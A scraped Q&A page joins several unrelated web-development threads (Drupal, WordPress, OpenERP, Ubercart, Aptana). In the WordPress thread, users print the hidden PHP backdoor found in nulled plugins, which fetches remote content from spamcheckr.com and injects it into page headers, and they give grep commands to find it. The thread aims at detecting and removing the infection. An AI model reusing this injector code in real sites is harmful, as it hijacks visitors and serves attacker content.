Using Drupal 8: Changing blog hyperlink sentences - drupal

I'm currently using Drupal 8 blog module, however I want to change some of the English that is used.
For example, "View recent blog entries"
"USERNAME's blog"
Is it possible to change this?
Or do you know a module I can use to do this?
Many thanks,
Jake
SCREENSHOT
SOLVED:Solved

According to my understanding, There will be a blog module.Which was in the list of core modules before drupal-8 but now it has been removed.
Note: Do following changes in blog.module file (Expected Path in root director of drupal: /modules/blog/blog.module)
Search this line :
$internal_link = \Drupal::l(t('View recent blog entries'), $url);
Replace with this line :
$internal_link = \Drupal::l(t($account->getUsername().'\'s Blog'), $url);
If Unable to see changes then do clear all cache.
Output Snippet :

Related

Fix for the "The following theme is missing from the file system" error in Drupal 7

I keep getting this same error from bugsnag for my site, and I'm unsure how to fix it/why it's popping up in the first place.
User Warning ยท The following theme is missing from the file system: <em class="placeholder">Theme_Name</em>. For information about how to fix this, see the documentation page.
The theme that it claims it is missing is the only theme I have for the site and is the one it is currently using. Besides overloading my bugsnag reporting, it's not causing any issues. Is there a way to resolve this? I checked the documentation page and all the articles I found only refer to modules.
It's likely that the there is an old reference of Theme_Name in the systems table of your database.
You can look for the references that your Drupal instance is checking against by running this query:
SELECT name, status, filename FROM system WHERE type = 'theme' AND name = 'Theme_Name';
Find the reference that doesn't look quite right, preferably by the name of "Theme_Name", and delete it.
DELETE FROM system WHERE type = 'theme' AND name = 'Theme_Name' AND status = 0 AND filename = 'path/to/Theme_Name.info' LIMIT 1;
Once deleted, flush your Drupal caches.
Well this is embarrassing. The source of the problem was that I was adding an image using:
src="<?= drupal_get_path('theme','Theme_Name'); ?>/sites/all/themes/theme_name/img/image.png">
The first problem is that the theme name I was calling was using capitals when the actual theme was all in lower case. But to actually resolve the problem I changed the image call to:
src="<?= drupal_get_path('theme',$GLOBALS['theme']); ?>/img/image.png">
Unsure if this turns out to be the same problem others have had, but that's what fixed it for me. If you're getting this error I'd suggest double checking how your src's are being called. Thanks to everyone that answered/responded!

WordPress blog infected with HTML Refresh meta tag

Hello StackOverflow community. I have a very interesting (at my opinion) infection to share with you today.
4-5 days ago I realized that my blog's homepage after some seconds of loading was redirected to another page. Specifically to youtube, at a Justin Bieber video. I thought it was my computer's problem, so I scanned or viruses and malware. But it wasn't my fault.
Finally I was sure that it was not a local problem because Google pagespeed insights had the same result.
So, after many hours of research (and some broken keyboards) I found out those clues. In details:
A meta tag was created inside my header similar to this:
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
First, I disabled all my plugins but without result. After a while the problem was still there.
Second, I searched all my database tables to find out if the URL of the video was included somewhere, but it wasn't.
Then I searched in my template editor one by one the php files, but nothing.
.htaccess was also clear (not 100% sure what I was looking for in there, but I think there was nothing suspicious).
After all these, I downloaded via FTP my whole site, and searched inside every file for this URL. I found that it was included to some HTML files of the CACHE folder. I use W3 Total Cache for that purpose. I deleted the whole cache folder, but after a while the problem was still there.
The fun fact here is that this "virus" is not always active. It appears at random time, at different page each time. Also tonight I realized that it appeared on a second computer, the same time that everything looked fine on my computer.
The Youtube Video URL is: http:// www.youtube.com/watch?v=RFngSCaY5nA
So my question is: Does anyone of you have a solution to recommend before deleting the whole installation and start from the beginning? Does anyone else had the same problem wit me in the past?
I think that's all l have to share. I'm sorry for the long post, tried to be as detailed as possible. I'm not good at coding, this is my first attempt to run a WordPress site so, there might be something that I forgot.
Thanks in advance.
I have the same problem and think I found the solution!
Check your site files for this link: http://spamcheckr.com/l.php
I found this link in formcraft plugin.
Like this:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
Edited:
Also check for this: http://spamcheckr.com/req.php
I have found this script in the wordpress fooboxV2 plugin.(FooBox)
Plugin official url is http://fooplugins.com/plugins/foobox/
This is the script file path
/wp-content/plugins/fooboxV2/includes/foolic_class.php
You can see whole scripts are commented.But I found this code in that commented code.
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
If you are using a nulled version of Gravity Forms you might also get this redirection problem. To solve the problem go to /plugins/gravityforms/settings/setting.php and remove the following code:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
Good luck.
Good answer above. To add to it, I recommend using grep to anyone who has trouble searching for the code :
grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
If you don't have grep and cant access your server (windows users) download it or use findstr :
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
(Dont forget to change /www/wordpress/wp-content to the location or your wordpress folders
Found it, too. In my case I was using an apparently nulled plug-in (which I didn't realize). It's called woocommerce-checkout-field-editor and was injecting a link to a Justin Bieber youtube video.
The function looks like this and is was hidden in \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php:
if (mt_rand(0,99) == 1) {
function sec_check() {
if(function_exists('curl_init'))
{
$url = "spamcheckr.com/req.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head','sec_check');
}
As we can see, it only displays the spam when a random function hits '1'. Then, it politely asks to see if curl is installed and then sends a simple GET request to the spam server to see what code it should be injecting.
The site is spamcheckr.com.
It then adds itself into the WordPress header and redirects the viewer of the page.
I reported the site to their host and let's see what happens.

Custom report translation in OpenERP

Basically all the reports are changed language as per the customer language in OpenERP 7.0. But I have customized a new accounting report as same as default accounting(invoice) report.
While printing my custom report that is not translating based on customer language. Please help to solve this. I am trying this more than two days and not yet any solution.
Note: I have also used setLang function in my report.
Most probably the best solution is to add the i18n folder to your custom addon. In there you add the appropriate .po file and the trick is done.
Remember to add:
folder called i18n
In there
file module_name.pot
file language.po (example it.po)
Salam !
just make [[ setLang('code_lang*') ]] up report
example for french country fr_FR
I hop that help you

Drupal Ubercart 2checkout, what DIRECT RETURN option to choose?

About "Direct Return" it is written here to choose "Header Redirect"
(3. Under Direct Return select Header Redirect.)
https://www.2checkout.com/shopping-cart/ubercart/
But it is written here to choose "Given links back to my website"
(3. Under Direct Return select Given links back to my website.)
http://www.ubercart.org/forum/support/31330/configure_2checkout_payment_ubercart_drupal_6
Do you know if given links back to my website is definitively the option to select?
More info about "How Does The Return Process Work?"
2checkout.com/blog/knowledge-base/merchants/tech-support/passbacks-and-returns/how-does-the-return-process-work/?plain
The return method depends on the version of the extension you are using. If you are using the version found at https://github.com/craigchristenson/ubercart-3-2checkout you use Header Redirect. The 2Checkout extension that is included in the Ubercart core uses Given Links back to my Website. Unfortunately the return function in the 2Checkout module that is included with UberCart has a bug and will not be fixed until the next release. In the mean time I suggest using the extension referenced at the URL above. If you have any trouble with your integration, you can contact 2Checkout directly for integration assistance.
Ok I think that I have found the solution here:
http://www.ubercart.org/project_issue/access_denied_2checkout_order_completion
1
The problem does not appear to be related to SSL. Their is an error in the ubercart 2Checkout return script that is causing this return issue. Ubercart is trying to verify the MD5 hash that is being passed back using a hash of secret word, vendor number, merchant_order_id, total which is incorrect and causing the validation to fail. To correct the issue please open the following file "drupal/modules/ubercart/payment/uc_2checkout/uc_2checkout.pages.inc" and edit line 20 so that it matches the following:
$valid = md5(variable_get('uc_2checkout_secret_word', 'tango') . $_POST['sid'] . $_POST['order_number'] . $_POST['total']);
So it really mean that there is no good 2checkout module for Ubercart and that the only solution is to hack line #20 ?
Ubercart has these issues addressed in the dev branches of UberCart 2 and 3. You can also get just the fixed 2Checkout modules at the URLs below:
UberCart-2 Drupal-6
https://github.com/craigchristenson/ubercart-2-2checkout
UberCart3 Drupal-7
https://github.com/craigchristenson/ubercart-3-2checkout

Aptana changing all <h1> to some snippet?

I'm writing a php file, and whenever I start to type
<h1>
I get this "snippet" of sorts,
//
// aptanavfs254116982902025803overrides.inc
// wordpress
//
// Created by Mike on 2011-08-15.
// Copyright 2011 Mike. All rights reserved.
//
What is this? I guess snippet is the wrong term. Template seems to be the wrong term. Googling doesn't seem to reveal people with this similar problem.
(Using Aptana Studio 3)
EDIT: I've found that it's somehow a shortcut for "Insert Comment Header" but there is still nothing that guides me to a preference to change this.
The "Insert Comment Header" command is actually contributed by the source ruble. It looks like the trigger keyword is "head", so if you start typing 'he' it will show this command as a suggestion. If you would like to remove this, you would need to edit the ruble.
Go to Commands > Source > Edit this ruble, to open the ruble. Then under the commands folder, open the insert_source_header.rb. You can then edi the "cmd.trigger" field to something else so it doesn't get triggered when you type "head".
For more information on editing rubles, you can always go to
http://wiki.appcelerator.org/display/tis/Modifying+an+existing+Ruble
(There should be information there to do more advanced things with rubles)

Resources